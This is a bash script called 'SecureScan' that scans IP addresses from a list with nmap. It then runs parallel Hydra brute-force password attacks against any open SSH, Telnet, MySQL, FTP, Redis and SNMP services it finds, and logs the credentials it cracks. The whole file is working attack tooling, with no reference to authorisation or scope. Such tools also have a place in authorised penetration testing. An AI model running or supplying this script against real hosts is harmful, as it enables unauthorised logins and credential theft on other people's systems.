#!/bin/bash

# SecureScan - Automated Network Service Password Brute-Force Tool
# Version 1.7

# Configuration files
SCAN_RESULTS="scan_results.gnmap"
PASSWORDS="passwords.txt"
USERS="users.txt"
LOG_FILE="securescan_results.log"
IP_LIST="ip_list.txt"

# Name of the script
PROGRAM_NAME="SecureScan"

# Function to print error messages and exit
error_exit() {
    echo "$PROGRAM_NAME Error: $1" >&2
    exit 1
}

# Check if required files exist and are readable
check_files() {
    local files="$SCAN_RESULTS $PASSWORDS $USERS $IP_LIST"
    for file in $files; do
        [[ -f "$file" && -r "$file" ]] || error_exit "File $file does not exist or is not readable."
    done
}

# Initialize log file
init_log_file() {
    touch "$LOG_FILE" 2>/dev/null || error_exit "Unable to create or write to $LOG_FILE"
    true >"$LOG_FILE" # Clear the log file
}

# Function to perform Hydra brute force attack
perform_hydra_attack() {
    local ip=$1 service=$2 port=$3 protocol=$4 user_list=$5 password_list=$6
    echo "[$service] Scanning $ip:$port" >>"$LOG_FILE"

    # local hydra_cmd="/usr/local/hydra/bin/hydra"
    local common_opts="-q -f -t 4"
    local timeout_cmd="timeout 300"

    case "$service" in
    snmp)
    # $timeout_cmd hydra -P "$password_list" $common_opts "$ip" "$service" -s "$port"
        $timeout_cmd hydra -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE"
        ;;
    redis)
        $timeout_cmd hydra -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>&1 | {
            while read line; do
                if [[ "$line" == *"does not require password"* ]]; then
                    echo "[$port][$service] host: $ip No password required." >>"$LOG_FILE"
                    attack_success=true
                    break
                fi
            done
        }
        if ! grep -q "does not require password" "$LOG_FILE"; then
            $timeout_cmd hydra -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE"
        fi
        ;;
    ftp)
    # $timeout_cmd hydra -e n -L "$user_list" -P "$password_list" $common_opts "$ip" "$service" -s "$port"
        $timeout_cmd hydra -e n -L "$user_list" -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE"
        ;;
    *)
    # $timeout_cmd hydra -L "$user_list" -P "$password_list" $common_opts "$ip" "$service" -s "$port"
        $timeout_cmd hydra -L "$user_list" -P "$password_list" $common_opts "$ip" "$service" -s "$port" 2>/dev/null | grep "host:" >>"$LOG_FILE"
        ;;
    esac

    # Only log a failure message if the attack was not successful
    if [[ "$attack_success" != "true" ]]; then
        if [[ $? -ne 0 ]]; then
            echo "Hydra attack on $ip:$port for service $service timed out or failed." >>"$LOG_FILE"
        fi
    fi

    wait
}

# Function to scan and brute force services
scan_and_attack() {
    local ip=$1
    local port_info_file=$(mktemp)

    grep "Ports:" "$SCAN_RESULTS" | grep "$ip" | sed 's/.*Ports: //g' | tr ',' '\n' >"$port_info_file"

    while IFS= read -r port_info; do
        local port=$(echo "$port_info" | awk -F'/' '{print $1}')
        local state=$(echo "$port_info" | awk -F'/' '{print $2}')
        local proto=$(echo "$port_info" | awk -F'/' '{print $3}')
        local service=$(echo "$port_info" | awk -F'/' '{print $5}')

        if [[ "$state" == "open" ]]; then
            case "$service" in
            ssh | telnet | mysql | ftp | redis | snmp)
                perform_hydra_attack "$ip" "$service" "$port" "$proto" "$USERS" "$PASSWORDS" &
                ;;
            *)
                echo "[$service] No brute force attack configured for $ip:$port" >>"$LOG_FILE"
                ;;
            esac
        fi
    done <"$port_info_file"

    rm -f "$port_info_file"
}

# Main function
main() {
    # Perform Nmap scan
    nmap -n -Pn -sT -sU -pT:21,22,3306,6379,U:161 -oG "$SCAN_RESULTS" -iL "$IP_LIST" || {
        error_exit "Nmap scan failed"
    }

    check_files
    init_log_file

    echo "$PROGRAM_NAME: Starting scan process..."

    # Process each IP from the scan results
    # Use awk to filter unique IPs and extract open ports
    awk '/Host:/ {print $2}' "$SCAN_RESULTS" | uniq | while read -r ip; do
            scan_and_attack "$ip" &
    done

    # Wait for all background jobs to finish
    wait

    echo "$PROGRAM_NAME: All scans completed. Sorting results..."
    sort -t'[' -k2,2 "$LOG_FILE" >"${LOG_FILE}.sorted"
    if [[ -f "${LOG_FILE}.sorted" ]]; then
        mv "${LOG_FILE}.sorted" "$LOG_FILE"
    else
        error_exit "Failed to sort results."
    fi

    echo "$PROGRAM_NAME: All scans completed. Sorted results saved in $LOG_FILE"
}

# Run main function and trap for cleanup
trap 'echo "$PROGRAM_NAME: Exiting..."; exit 0' EXIT INT TERM
main

echo "$PROGRAM_NAME: Program completed successfully."